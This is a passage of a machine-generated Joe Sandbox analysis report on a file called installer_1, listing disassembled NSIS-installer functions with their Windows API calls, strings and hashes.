Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Sleep(%d), xrefs: 0040169D
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Aborting: "%s", xrefs: 0040161D
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes: "%s":%08X, xrefs: 0040177B
CreateDirectory: "%s" created, xrefs: 00401849
Rename failed: %s, xrefs: 0040194B
SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Jump: %d, xrefs: 00401602
Rename: %s, xrefs: 004018F8
CreateDirectory: "%s" (%d), xrefs: 004017BF
detailprint: %s, xrefs: 00401679
Call: %d, xrefs: 0040165A
Rename on reboot: %s, xrefs: 00401943
BringToFront, xrefs: 004016BD

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

RichEdit, xrefs: 00405BC4
.DEFAULT\Control Panel\International, xrefs: 00405999
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
B%F, xrefs: 00405A1F
@%F, xrefs: 004059F6
RichEd20, xrefs: 00405B9D
@rD, xrefs: 00405965
RichEdit20A, xrefs: 00405BB6, 00405BBB
_Nb, xrefs: 00405AD1
.exe, xrefs: 00405A3D
RichEd32, xrefs: 00405BA8

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: error, user cancel, xrefs: 00401B93
open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user abort, xrefs: 00401B53
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user retry, xrefs: 00401B40
File: wrote %d to "%s", xrefs: 00401BD0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error creating "%s", xrefs: 00401AF0

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Inst, xrefs: 0040366C
soft, xrefs: 00403675
Error launching installer, xrefs: 004035D7
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

P1B, xrefs: 004033A9
... %d%%, xrefs: 0040349E
X1C, xrefs: 0040343C
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1689388930.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1688541287.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1688525525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688559492.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1688575636.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
